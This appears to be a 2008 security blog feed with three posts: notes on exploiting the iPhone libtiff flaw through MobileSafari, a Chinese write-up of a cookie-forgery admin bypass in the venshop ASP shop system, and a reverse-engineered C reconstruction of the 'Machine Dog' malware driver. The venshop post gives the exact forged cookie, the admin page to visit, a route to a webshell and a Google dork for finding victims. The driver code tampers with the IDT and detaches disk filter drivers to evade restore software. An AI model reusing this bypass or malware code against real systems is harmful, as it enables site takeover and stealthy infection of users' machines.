As always, there are a few caveats. The first issue we run into is that all shellcode after ~340 bytes is being corrupted before the copy. Fortunately, most OS X shellcode (even ARM) is much smaller than 300 bytes, and this isn't an issue if we account for it. The second issue is that since MobileSafari is a multi-threaded application, the execve() system call will fail. The solution to this issue is to prepend a block of ARM assembly that executes the vfork() system call, kills the parent process, and executes the rest of the shellcode from within the child process. This problem is also present on PowerPC Mac OS X installations and requires the vfork trick there as well.

While using a hex editor to write this exploit is possible, the Metasploit Framework provides a much easier method of testing different contents for the TIFF file. A working exploit for this flaw (successfully tested on 1.00 and 1.02 firmwares) can be found in the development version of the Metasploit Framework (available via Subversion). A direct link to the latest version of this exploit can be found here.

This exploit works great on modified iPhones that have an existing /bin/sh, but will fail on unmodified iPhones. The next part in this series will cover developing shellcode for unmodified phones, so check back soon.

(echo)Cracking the iPhone Part1

361055186@qq.com(F14r3) — Tue, 08 Apr 2008 09:59:57 GMT

Cracking the iPhone (part 1)
In my last post, I described the Apple iPhone in terms of being a security tool and a security target. At the time, I had just finished a first pass on iPhone shellcode. What I didn't realize was that a stock iPhone does not include a /bin/sh executable, nor any of the standard Unix command line tools. My shellcode would only be useful against iPhones which had been updated with the BSD environment package.

A few days later, Apple released the 1.1.1 update. This update removed any installed third-party packages and relocked unlocked phones. Fortunately for the iPhone development community, Apple shipped the iPhone with a vulnerable version of the libtiff library and didn't bother updating it for the 1.1.1 release. This vulnerability has already been used to run homebrew games on the Sony PSP and can be exploited through the MobileSafari web browser. Two of the Toc2rta.com members (Niacin and Dre) put together an impressive exploit for this flaw that jailbreaks the phone directly from the browser. This exploit prepares a gigantic stack frame and returns back to an address within the libSystem shared libary. After a ridiculous amount of chained returns, it manages to rename a file, create a symlink, and remount the root filesystem. A hell of a job, especially considering the state of the iPhone debugging tools.

Using a security vulnerability to enable third-party development is nothing new, but in the case of iPhone, this can be a problem. The libtiff flaw can be triggered by both MobileSafari and MobileMail, two applications which are used heavily by many iPhone users. The tricky part is writing an exploit which is reliable and is not limited to calling existing functions within a shared library. One approach is to return to a memcpy() call, another is to find a bounce path through a system library, back to the heap. Technically, a heap fill attack could work as well, but only by using a large tiff file or through the use of javascript in MobileSafari.

The first step to writing a weaponized exploit for this flaw is to obtain a usable debugger. The weasel utility is a great start, but is missing a few useful features, such as memory search and command repetition. I hacked out a new version of weasel (hdm-0.1) tonight that provides a "v" command (dump the virtual memory mappings), a "f" command (search for an ascii or hex string inside process memory), and the ability to attach to a running process. While this code works, it is still ugly as sin, so try not to judge it too harshly (yes, there are scanf overflows in input parsing, no, I don't care). The following example shows the memory search command locating all instances of the word "Hello" in the MobileSafari process.

# ./weasel -p 259 /Applications/MobileSafari.app/MobileSafari
Read 4 symbols.
[$3008b224 weasel] f 0x0 Hello
009e2168 48 65 6c 6c 6f 3f 27 2c 48 74 6d 6c 55 72 6c 3a
02b2d158 48 65 6c 6c 6f 3f 27 2c 48 74 6d 6c 55 72 6c 3a
3134e113 48 65 6c 6c 6f 00 5f 53 53 4c 50 72 65 70 61 72
3134e179 48 65 6c 6c 6f 44 6f 6e 65 00 5f 53 53 4c 50 72

Check back soon for part two, writing the exploit, and part three, BYOS (bring your own shell).

网络购物系统 Cookie欺骗漏洞

361055186@qq.com(F14r3) — Sat, 22 Mar 2008 03:48:31 GMT

代码http://www.venshop.com/down/venshop.rar
小程序，备忘一下
ad_chk.asp判断管理员登陆状态
<%
if Request.Cookies("venshop")("admin_name")="" or Request.Cookies("venshop")("admin_pass")="" or Request.Cookies("venshop")("admin_class")="" then
Response.Cookies("venshop")("admin_name")=""
Response.Cookies("venshop")("admin_pass")=""
Response.Cookies("venshop")("admin_class")=""
response.redirect "ad_login.asp"
response.end
end if
%>
判断admin_class
C:\Inetpub\wwwroot>findstr /i /n /s "admin_class" *.asp
ad_admin.asp:29: rs("admin_class")=request("class1")
ad_admin.asp:43:rs("admin_class")=request("class")
ad_admin.asp:92:
ad_admin.asp:93:
ad_admin.asp:94:
........................
可以看出当admin_class=0的时候就是总管理员身份了。
伪造cookie如下
Themes=default; Count=lao=3; Countecho=lao=True; ASPSESSIONIDQAADRSRB=CDBDHEHCLJOIHFDAHLFHABIO; venshop=admin%5Fclass=0&admin%5Fpass=admin&admin%5Fname=admin
然后访问http://www.target.com/ad_manage.asp即可，后台有数据库备份可以拿webshell。
inurl:"views.asp?hw_id="#google

“机器狗”病毒驱动部分逆向分析注释（C代码）

361055186@qq.com(F14r3) — Thu, 20 Mar 2008 10:22:00 GMT

【软件名称】: 机器狗（病毒）
【加壳方式】: 未知壳
【编写语言】: MASM
【使用工具】: IDA
【操作平台】: win2003
【软件介绍】: 穿透冰点型带驱动病毒
【作者声明】: 只是感兴趣，没有其他目的。失误之处敬请诸位大侠赐教!
*/
#include // various NT definitions
#define IOCTL_MYDEV_BASE 0xF000
#define IOCTL_MYDEV_Fun_0xF01 CTL_CODE(IOCTL_MYDEV_BASE, 0xF01, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define DR0_DEVICE_NAME "\\Device\\Harddisk0\\DR0"
#define NT_DEVICE_NAME "\\Device\\PhysicalHardDisk0"
#define DOS_DEVICE_NAME "\\DosDevices\\PhysicalHardDisk0"
PDEVICE_OBJECT g_DR0_DeviceObject;
PDEVICE_OBJECT g_OldAttachedDeviceOfDR0;
VOID* g_ResData;
SIZE_T g_ResDataSize;
typedef struct _idtr
{
//定义中断描述符表的限制，长度两字节；
short IDTLimit;
//定义中断描述服表的基址，长度四字节；
unsigned int IDTBase;
}IDTR,*PIDTR;
typedef struct _idtentry
{
//中断执行代码偏移量的底16位；
unsigned short OffsetLow;
//选择器，也就是寄存器；
unsigned short Selector;
//保留位，始终为零；
unsigned char Reserved;
//IDT中的门的类型：包括中断门，陷阱门和任务门；
unsigned char Type:4;
//段标识位；
unsigned char SegmentFlag:1;
//中断门的权限等级，0表示内核级，3表示用户级；
unsigned char DPL:2;
//呈现标志位；
unsigned char Present:1;
//中断执行代码偏移量的高16位；
unsigned short OffsetHigh;
}IDTENTRY,*PIDTENTRY;
#define HOOKINTID_09 9 //NPX Segment Overrun
#define HOOKINTID_0E 0x0E //Page Fault
VOID CheckIdt()//用SIDT指令得到中断向量啊，然后修改中断向量入口地址
{
int INT_09_Address_High8;
int INT_0E_Address_High8;
unsigned long OldISR_09;
unsigned long OldISR_0E;
//保存IDT入口的基地址和限制信息的数据结构；
IDTR idtr;//store interrupt descript table register. to idtr
//记录IDT数组的指针，通过它可以查找到我们需要Hook中断号对应的中断门；
PIDTENTRY IdtEntry;
//汇编指令sidt，获取IDT入口信息；
__asm sidt idtr
//赋予IDT基地址值；
IdtEntry = (PIDTENTRY)idtr.IDTBase;
//保存中断号HOOKINTID对应中断门所指向的执行代码偏移量，以备执行中断处理或恢复时使用
OldISR_09 = ((unsigned int)IdtEntry[HOOKINTID_09].OffsetHigh << 16) | (IdtEntry[HOOKINTID_09].OffsetLow);
INT_09_Address_High8 = OldISR_09&0x0FF000000;
/*
这两句汇编代码什么意思？eax相减应该总是0，那么 jz不总是跳转返回了？？？
有知道的大侠告诉我
sub eax, eax
jz short FunctionExit
难道是？
if (INT_09_Address_High8 == 0)
return;
*/
//保存中断号HOOKINTID对应中断门所指向的执行代码偏移量，以备执行中断处理或恢复时使用；
OldISR_0E = ((unsigned int)IdtEntry[HOOKINTID_0E].OffsetHigh << 16) | (IdtEntry[HOOKINTID_0E].OffsetLow);
INT_0E_Address_High8 = OldISR_0E&0x0FF000000;
if (INT_09_Address_High8 != INT_0E_Address_High8)//检查0E是不是被HOOK
{
//关中断
__asm cli

IdtEntry[HOOKINTID_0E].OffsetHigh = 0;// 作者此处没关中断，难道不bosd?

//开中断
__asm sti
}
}
/*
通过搜索地址来查找自己的加载地址
查找驱动文件的资源中的1000/1000,并复制到一个全局缓冲区中
*/
VOID* SearchSelf()
{
VOID* pSelfImage = NULL;
VOID* pCurAddr = NULL;
VOID* pTmpAddr = NULL;
// loc_40045F:这个取当前地址用C怎么写？
//028 lea ebx, loc_40045F
//028 and ebx, 0FFFFFC00h
//pSelfImage如何取？
while(MmIsAddressValid(pSelfImage))
{
if ((unsigned long)pSelfImage <= 0x80000000)
return NULL;
if (RtlEqualMemory(pSelfImage, "MZ", 2))
{
pCurAddr = pSelfImage;
pTmpAddr = (VOID*)((unsigned long)pSelfImage+0x3C);
(unsigned long)pCurAddr += (unsigned long)(&pTmpAddr);
if (!MmIsAddressValid(pCurAddr))
return NULL;
if (RtlEqualMemory(pCurAddr, "PE", 2))
return pSelfImage;
}
(unsigned long)pSelfImage -= 0x400;//-1024K
}

return NULL;
}
SIZE_T ResLookupDataInDirectoryById(void* pSysBaseAddr, int id1, int id2, CHAR* pResDatas)
{
// 有空再补上：）
return 0;
}
//
// Device driver routine declarations.
//
NTSTATUS
DriverEntry(
IN OUT PDRIVER_OBJECT DriverObject,
IN PUNICODE_STRING RegistryPath
);
NTSTATUS
CommonDispatch(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp
);
VOID
Unload(
IN PDRIVER_OBJECT DriverObject
);
NTSTATUS
DriverEntry(
IN OUT PDRIVER_OBJECT DriverObject,
IN PUNICODE_STRING RegistryPath
)
{
NTSTATUS ntStatus;
CHAR* pResData = NULL;
ANSI_STRING SourceString;
PDEVICE_OBJECT DeviceObject = NULL; // ptr to device object
UNICODE_STRING SymbolicLinkName;
UNICODE_STRING DeviceName;
VOID* pSelfImage;
PDEVICE_OBJECT cur_device_object;
PDEVICE_OBJECT next_device_object;
CheckIdt();
pSelfImage = SearchSelf();
if (pSelfImage == NULL)
return -1;
g_ResDataSize = ResLookupDataInDirectoryById(pSelfImage, 1000, 1000, pResData);
if (g_ResDataSize == 0)
{
return -1;
}
g_ResData = ExAllocatePool(NonPagedPool, g_ResDataSize);
// 跳转到下条指令，延时 jmp short $+2
RtlCopyMemory(g_ResData, pResData, g_ResDataSize);
DriverObject->DriverUnload = Unload;
DriverObject->MajorFunction[IRP_MJ_CREATE] =
DriverObject->MajorFunction[IRP_MJ_CLOSE] =
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = CommonDispatch;
// 为什么不用RtlInitUnicodeString( &ntUnicodeString, NT_DEVICE_NAME );代替
RtlInitAnsiString(&SourceString, NT_DEVICE_NAME);
RtlAnsiStringToUnicodeString(&DeviceName, &SourceString, TRUE);
RtlInitAnsiString(&SourceString, DOS_DEVICE_NAME);
RtlAnsiStringToUnicodeString(&SymbolicLinkName, &SourceString, TRUE);

ntStatus = IoCreateDevice(
DriverObject, // Our Driver Object
0, // We don't use a device extension
&DeviceName,
FILE_DEVICE_NULL, // Device type
0, // Device characteristics //此处应该用FILE_DEVICE_SECURE_OPEN吧？
FALSE, // Not an exclusive device
&DeviceObject ); // Returned ptr to Device Object
if ( !NT_SUCCESS( ntStatus ) )
{
goto End;
}
ntStatus = IoCreateSymbolicLink( &SymbolicLinkName, &DeviceName );
if ( !NT_SUCCESS( ntStatus ) )
{
cur_device_object = DriverObject->DeviceObject;
while (cur_device_object)
{
next_device_object = DeviceObject->NextDevice;
IoDeleteDevice(cur_device_object);
cur_device_object = next_device_object;
}
}
End:
RtlFreeUnicodeString(&DeviceName);
RtlFreeUnicodeString(&SymbolicLinkName);
return STATUS_SUCCESS;
}
VOID
Unload(
IN PDRIVER_OBJECT DriverObject
)
{
ANSI_STRING SourceString;
PDEVICE_OBJECT DeviceObject = NULL; // ptr to device object
UNICODE_STRING SymbolicLinkName;
PDEVICE_OBJECT cur_device_object;
PDEVICE_OBJECT next_device_object;
if (g_ResData)
{
ExFreePool(g_ResData);
}
if (DriverObject)
{
RtlInitAnsiString(&SourceString, DOS_DEVICE_NAME);
RtlAnsiStringToUnicodeString(&SymbolicLinkName, &SourceString, TRUE);
IoDeleteSymbolicLink(&SymbolicLinkName);
RtlFreeUnicodeString(&SymbolicLinkName);
cur_device_object = DriverObject->DeviceObject;
while (cur_device_object)
{
next_device_object = DeviceObject->NextDevice;
IoDeleteDevice(cur_device_object);
cur_device_object = next_device_object;
}
}
}
NTSTATUS
CommonDispatch(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp
)
{
PDEVICE_OBJECT DRO_DeviceObject = NULL; // ptr to device object
PFILE_OBJECT DRO_FileObject;
ANSI_STRING SourceString;
UNICODE_STRING DRO_DeviceName;
PIO_STACK_LOCATION irpSp;// Pointer to current stack location
NTSTATUS ntStatus = STATUS_SUCCESS;// Assume success
ULONG inBufLength; // Input buffer length
ULONG outBufLength; // Output buffer length
Irp->IoStatus.Status = STATUS_SUCCESS;
Irp->IoStatus.Information = 0;
irpSp = IoGetCurrentIrpStackLocation( Irp );
inBufLength = irpSp->Parameters.DeviceIoControl.InputBufferLength;
outBufLength = irpSp->Parameters.DeviceIoControl.OutputBufferLength;
if(!inBufLength || !outBufLength)
{
ntStatus = STATUS_INVALID_PARAMETER;
goto End;
}
switch ( irpSp->MajorFunction )
{
case IRP_MJ_CREATE:
RtlInitAnsiString(&SourceString, DR0_DEVICE_NAME);
RtlAnsiStringToUnicodeString(&DRO_DeviceName, &SourceString, TRUE);
IoGetDeviceObjectPointer(&DRO_DeviceName, 0x80,&DRO_FileObject, &DRO_DeviceObject);
g_DR0_DeviceObject = DRO_FileObject->DeviceObject;
//保存DR0上的附加设备，然后断开附加，等IRP_MJ_CLOSE时恢复附加
if (DRO_FileObject->DeviceObject->AttachedDevice)
{
g_OldAttachedDeviceOfDR0 = DRO_FileObject->DeviceObject->AttachedDevice;
DRO_FileObject->DeviceObject->AttachedDevice= NULL;
}
ObDereferenceObject(DRO_FileObject);
RtlFreeUnicodeString(&DRO_DeviceName);
break;
case IRP_MJ_CLOSE:
if (g_DR0_DeviceObject)
{
if (g_OldAttachedDeviceOfDR0)
{
g_DR0_DeviceObject->AttachedDevice = g_OldAttachedDeviceOfDR0;
}
}
break;
case IRP_MJ_DEVICE_CONTROL:
if ( irpSp->Parameters.DeviceIoControl.IoControlCode == 0x0F0003C04)
{
if (outBufLength < g_ResDataSize)
goto End;
// 此处就是提取驱动里的资源解码返回给ap层，很简单，不再反汇编了，此处省略
// 唯一不理解的是既然是双缓冲应该用IRP.AssociatedIrp.SystemBuffer返回给ap才是
// 难道此时Irp->AssociatedIrp.SystemBuffer和Irp->UserBuffer地址相同？？
RtlCopyMemory(Irp->UserBuffer, g_ResData, g_ResDataSize);
Irp->IoStatus.Information = g_ResDataSize;
}
else
{
ntStatus = STATUS_INVALID_DEVICE_REQUEST;
}
break;
default:
//
// The specified I/O control code is unrecognized by this driver.
//
ntStatus = STATUS_INVALID_DEVICE_REQUEST;
break;
}
End:
//
// Finish the I/O operation by simply completing the packet and returning
// the same status as in the packet itself.
//
Irp->IoStatus.Status = ntStatus;
IoCompleteRequest( Irp, IO_NO_INCREMENT );
return ntStatus;
}